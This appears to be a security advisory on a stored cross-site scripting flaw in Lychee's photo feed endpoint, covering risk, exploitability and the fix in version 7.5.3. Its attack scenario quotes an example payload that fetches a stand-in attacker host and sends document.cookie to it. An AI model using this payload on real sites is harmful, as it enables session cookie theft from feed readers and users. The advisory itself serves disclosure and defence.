Lychee EUVD-2026-16417

This vulnerability presents moderate-to-high real-world risk despite missing CVSS and EPSS scores. The attack vector is network-based and requires no authentication (PR:N implied by public /feed endpoint), indicating broad exploitability. Exploitation complexity is low-attackers need only craft malicious HTML/JavaScript in a photo description field they control or can influence. The technical impact is significant: stored XSS in feed endpoints can compromise feed consumers (RSS readers, aggregators, bots) via persistent payload delivery. However, the attack is limited by browser same-origin policy and the context of execution (feed readers, not the main web application). No KEV status or public exploit code is mentioned in provided data, suggesting this is not yet confirmed as actively exploited in the wild, though the straightforward nature of XSS injection makes exploitation trivial. The patch availability (version 7.5.3 released) and clear fix path reduce urgency for immediate critical response but warrant prioritized patching for all public-facing Lychee deployments.

An attacker with the ability to add or edit a photo description (either through a legitimate account or by social engineering another user) injects malicious JavaScript payload such as <img src=x onerror="fetch('https://attacker.com/steal?cookie=' + document.cookie)"> into the description field. When a user subscribes to the Lychee feed in an RSS reader or when the feed is crawled by aggregators, the unsanitized payload is rendered in the feed XML/JSON, causing the reader or browser to execute the JavaScript. This exfiltrates session cookies, performs actions on behalf of the feed consumer, or redirects to phishing sites. No public exploit code is identified at the time of analysis, but the attack requires only basic knowledge of XSS and feed syntax.